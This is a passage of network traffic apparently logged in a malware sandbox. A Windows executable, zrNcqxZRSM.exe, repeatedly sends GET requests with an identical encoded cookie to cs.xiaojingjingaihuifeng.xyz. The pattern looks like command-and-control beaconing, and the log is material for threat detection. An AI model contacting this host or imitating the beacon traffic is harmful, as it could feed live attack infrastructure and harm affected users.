2025-01-10 14:13:31 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:31 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Imik%2FpH1M57RwAoRj3cB4dAAQzN%2Ft7hdm5hQKFxz4K4%2FtnZ2oK%2FrlPHzbLTNFMi5ZftRx2DwF6Thg6iojLlaOATrzlBSIRKmS%2FaeVH9sg1R7Xq2DzNFi8h9RfxYhquVQtM7dkJp6vjdCfwzdc1mM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44a5abc0de9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1604&rtt_var=607&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1793611&cwnd=209&unsent_bytes=0&cid=d20f88fd713f1f77&ts=415&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49834	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:32 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:32 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:32 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wPhD84uslGTPohejTCB2WIw7TlATtJIKq8ekMyqoA%2FYadLveS1HV5cq92JzdMoBPLDPVKdnxgE%2FtxTp8oJ2aHXFvhyVfQ0TlG3eF7yKq4ZWzWXnbn%2FF8jdkcbBWqvXvc9h3ippEyyNyyF7f1QYn8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44ac4869426b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1712&min_rtt=1700&rtt_var=661&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1624930&cwnd=232&unsent_bytes=0&cid=39d87d26a90d6b59&ts=471&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49841	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:33 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:33 UTC	750	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:33 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iaxdz4O5xrGijntgII1A2O4R6l46zcuLCsHETw55tjjYhJoWA7OMz%2F0qPL1XVnrGawQVXlhkCJydoYJ49KVoosbHXCaJwy0mDVU9dgqoalX7G1tPpUbMZB0xw4yxmQv0X4RkMQXF1t9W%2BisTj2AD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44b29f6ac33c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1540&min_rtt=1540&rtt_var=770&sent=6&recv=7&lost=0&retrans=1&sent_bytes=3294&recv_bytes=1056&delivery_rate=159128&cwnd=148&unsent_bytes=0&cid=0bbbfd9b84de520a&ts=453&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49848	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:34 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:34 UTC	758	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:34 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ypBJ5EFZr9GfoA3g3%2B2v45iLfJHjPpUBHmU9F05LM2HokCYTiJO8WCoOfMVDwyzlQ1MNnocayWGjvHjGG%2FW%2FQu0l6YCn13N0re6RemCJTPz0uMuU0oCjz%2BNJ8YeBDLXytdGTX40VNrf5PuPN93Ru"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44b96a1a43ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=26770&min_rtt=1690&rtt_var=15597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1727810&cwnd=231&unsent_bytes=0&cid=d2b310eba497ae2b&ts=436&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49858	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:35 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:35 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:35 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eggWSfJlqXbpXp%2FCt5EsTNxBL2CrgYZDT2QZSCBAzX%2B5jj5wclfXijJMYRffEiOuJy3h267TKmgN062qalW1UVmoxfDFJ6wQpEpoStI%2F6Y%2BCe6%2BKUKg5ubEB2BOW7o2q%2BqpRvk48VLy0FKwboRiK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44bfa9584385-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1562&rtt_var=601&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1798029&cwnd=250&unsent_bytes=0&cid=50db839ae1f42fc2&ts=419&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49864	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:36 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:36 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:36 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=icZeRKxnR8yGFfacnnYxMhBP4ru10djGI9ci%2F2Ga3dPRK9lVs7rZLDWPR8EQT8jLlH0hnEPukxB9yALEa3ZTIzocrUuW6Q0O%2FJJlRo2cDQ95RYSFP%2BcrbhwH7G0rfN%2FtY3Hdw8xaHlzm6lIly6qq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44c5fff0c34e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1473&min_rtt=1465&rtt_var=567&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1902280&cwnd=224&unsent_bytes=0&cid=a7f52c5e711daa26&ts=423&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49871	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:37 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:37 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:37 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q%2F2DfX%2BjegpsERl%2FFELriXWYic6gyyyE94WRQov43ep2L06xJsiLoxo3NsCjKZSWqs02MGtYIdEm70nlVjt2kBUk%2BuWM09JVEXYdQF%2BmS1n25vlGnV4Zos6wgAGugHb45oBEEBI%2F9bizNnCRAiXw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44ce08c772a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2409&min_rtt=2012&rtt_var=1548&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=562837&cwnd=212&unsent_bytes=0&cid=cde87bdecefd91b6&ts=598&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49881	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:38 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:38 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:38 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Lt11sCVct9k%2FFmKJniZBiIybdu2LV4j6HmpjnZ1zNmuL8OwtEDSdcQO%2BbjP18ooQ5ZnHnFvVhsXpq%2BYZs5UTzMkT6Paw9rHcvtc7uLfZt9k98KcdfDwWLIoqOgB2DaL59v3LYlX3JEm0kOqs9xM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44d46cb3f5f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&min_rtt=1548&rtt_var=593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1823860&cwnd=239&unsent_bytes=0&cid=06540a3444bfa025&ts=411&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49887	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:39 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:40 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:39 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ylJyOsqKO6s6d1L4DV3NLHlIBSGEbVdP6EeNRbjxU%2F5gkwHhAF3FQLbHGqpGXoZ5%2BCL9wbFZDEuPK7OSJrZzF9S3ADEz29AHlU1ZtxZkYXdt1tGVBcojlWKenr%2F694FFquSTHDkgJwnv1Iyuiqei"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44db1b1f7ce4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5917&min_rtt=5917&rtt_var=2958&sent=6&recv=7&lost=0&retrans=1&sent_bytes=3296&recv_bytes=1056&delivery_rate=172048&cwnd=228&unsent_bytes=0&cid=8ef8cacbc3158955&ts=437&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49894	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:40 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:41 UTC	749	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:41 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kgaVYPx1gJzEyoNC96AWHHkptKwVlCroBlZBOrpxSjb6ZZX3pAZSlMVcI5Pw68f8tvZd1GYVgM%2FFFE4QpNTIvTBbDW0sECcrb1G5I7v9htHYatuhXZ3ZdNF9mRnE0ZYcvbTtHnsWf0fz0arkS5UZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44e21a6e1a3c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1968&rtt_var=739&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1479229&cwnd=229&unsent_bytes=0&cid=f20a8ec431f6250f&ts=410&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49904	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:41 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:42 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:42 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bZgXMTB%2F3lOjb942z3JmMdIGODMDSj5bx999JbFfhn5vGj1%2Fg6i6k66wl0fstTNob8Bd74JTBosyl7%2F7N%2BD4VNEVToiLYwH%2BiOJzz3RreHIvzMLevcQDAUdSn6G42KIQ2wM4%2BBqi7%2Bq7%2F0TOho0k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44e82ff7428e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&min_rtt=1713&rtt_var=670&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1599123&cwnd=222&unsent_bytes=0&cid=6e1dd343e6a94c46&ts=393&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49910	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:42 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:43 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:43 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NaC79mKGbrzKUTzPixDAu7K%2F62WMRKyWMnkhQ7fnInRYhx6%2FtyFAqmfh%2FXspuPa4me%2FXJklXQN4QmH2XjTpN%2BUY%2BKiZASJdZJgBfEOmXKsuUqiP%2FezNXD8xDVSlYT0H6XjLx3B2trJS9%2BHSlXLPg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44ee4dad42f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1544&rtt_var=595&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1813664&cwnd=234&unsent_bytes=0&cid=4a47e75ffe59f0db&ts=433&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49916	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:43 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:44 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:44 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u7R9fOcg2MsRxqj7r4wqD52JtpJ5ZBJ1fAphrCZrFaoPNrFGz3OJ4r44ZbrgVuwyqGe19M%2FrUNw5m%2BrXDlH7j%2FLCIQzc2HZsvdrY0hXJKRFXjoWyGf1tnSRQiy7OHYSl5k1FpbSTQY1qpNJ9m2Y9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44f4cbf08cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2005&min_rtt=2005&rtt_var=752&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1454907&cwnd=189&unsent_bytes=0&cid=dd21172dcc9622d7&ts=435&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49922	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:44 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:45 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:45 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F56fTbbNpMnuDJBW7P7G1xvvyccX41R6w0fYTvK1asPsJqhzVrp7InNIfvEG2sHnFUPSPObzwmPeS3sp%2BroXcUDy92iObzyffFoW%2FAWrXN4qG5YecVWquwOaHBIWfuRs7k8okxTm8nblklmf%2Bq2z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44fb39d941e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2193&min_rtt=2190&rtt_var=827&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1318879&cwnd=239&unsent_bytes=0&cid=36f8b5e7bae295cf&ts=429&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49933	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:45 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:46 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:46 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XX%2BLHPsyXXI9IjjoRe61qF8bpHaq%2FAeooYbWGlmC76TKq0rM3qixmqjB%2BrvTKLRsxs6%2B%2F3uROciQEuyPtLo%2Baqxw4f4mfrg9TB7n7ifrE%2BB7h9hlqUTU3sdxJHLJYG7AbH%2BWL56M2jYMWDQy5cVY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45017d440f55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1476&rtt_var=567&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1908496&cwnd=156&unsent_bytes=0&cid=0d7a5d18fb9a940c&ts=425&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49939	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:46 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
